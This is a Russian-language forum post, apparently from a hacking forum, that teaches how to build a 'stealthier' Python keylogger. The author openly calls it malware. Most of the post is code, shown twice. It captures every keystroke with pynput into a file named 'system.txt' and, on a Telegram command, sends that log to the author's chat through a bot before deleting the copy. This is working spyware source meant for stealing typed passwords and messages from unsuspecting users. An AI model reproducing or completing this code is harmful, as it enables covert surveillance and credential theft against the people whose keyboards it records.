Введение
Данная тема не раз поднималась на форуме, но... как тут не опубликовать свои проекты. Работал над этой темой достаточно не долго, но фокус в том, что это каркас того, что можно модифицировать. Проще говоря используя этот код вы можете добавить свои фичу. А теперь возвращаемся. К чему это все? Многие могут догадаться по заголовку, но я все равно напомню, что здесь мы будем писать свой keylogger с улучшенной скрытностью. Начнем.Шпионим за клавиатурой
Практики без теории не бывает, поэтому вспомним, что такое keylogger:Keylogger - вредоносное ПО фиксирующее действия пользователя. В частности движение мыши и вводимый текст с клавиатуры.
Чем же мой шпион отличается от других? Все очень просто, большинство если не все программы, связанные с этой темы (я имею в виду самописные) с языком Python работают в постоянном режиме и без кнопки "Выключить". Проще говоря программа висит в диспетчере задач постоянно, даже если ее уже не используют. Еще одно отличие в том, что я постарался отправлять данные себе в личные сообщения. Так как другие аналоги почему то этого не могут. Сразу скажу что разработка завершена на 50%, поэтому полный результат с программой-создателем вы увидите на моем Github. А пока, что я поделюсь знаниями об этом с вами. Приступаем к написанию.
Мне нужен этот код
Наша работа будет происходить как всегда на PyCharm. Хотел бы осведомить вас перед началом. Данная IDE при создании проекта помещает все модули, что вы используете в \venv\Lib\site-packages. То есть обычная командаpip install модуль
вам не поможет. Так же при попытке запуска чужого кода я столкнулся с проблемой установки модулей. Тот же pyHook ставиться достаточно сложно, поэтому я хотел бы показать то, как ставить сторонние модули. Для этого ищем нужный пакет на
Ссылка скрыта от гостей
и скачиваем его. Расположение берем удобное для вас и переходим при помощи команды cd в консоли на папку где лежит скачанный файл. Далее устанавливаем распаковщик командой:
Код:
pip install wheel
Код:
wheel unpack имя.whl
Python:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
Python:
bot = telebot.TeleBot("токен")
keygen = "system.txt"
os.getcwd()
os.chdir(r"ваш_путь ")
# Ну или можно короче: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger() # Записывает данные в журнал
l = logging.StreamHandler()
logging.FileHandler(keygen) # Файл для записи
l.setLevel(logging.DEBUG) # Обозначает уровень работы
format = logging.Formatter("%(asctime)s:%(message)s") # Задает формат записи
l.setFormatter(format)
logger.addHandler(l) # Начинает запись
Python:
@bot.message_handler(commands=["start"])
def start_message(message):
logging.disable(level=logging.CRITICAL) # Прекращает запись
shutil.copyfile(r"ваш_путь\system.txt",
r"ваш_путь\logfile.txt") # Копирует файлы
file = open("ваш_путь\logfile.txt", "rb")
bot.send_document(message.chat.id, file) # Отправляет данные и закрывает все
file.close()
os.remove("ваш_путь\logfile.txt") # Удалеяет и останавливает сеанс
bot.stop_polling()
bot.polling()
Python:
def keypress(Key):
logging.info(str(Key))
with Listener(on_press=keypress) as listener:
listener.join()
Вывод
В данной теме я попытался максимально понятно и доступно рассказать о своей разработке на языке Python. Полные труды будут выложены в другом месте, поэтому остается только оставить полный код программы для вашей доработки и изучения.
Python:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("токен")
keygen = "system.txt"
os.getcwd()
os.chdir(r"ваш_путь ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"ваш_путь\system.txt",
r"ваш_путь\logfile.txt")
file = open("ваш_путь\logfile.txt", "rb")
bot.send_document(message.chat.id, file)
file.close()
os.remove("ваш_путь\logfile.txt")
bot.stop_polling()
bot.polling()
def keypress(Key):
logging.info(str(Key))
with Listener(on_press=keypress) as listener:
listener.join()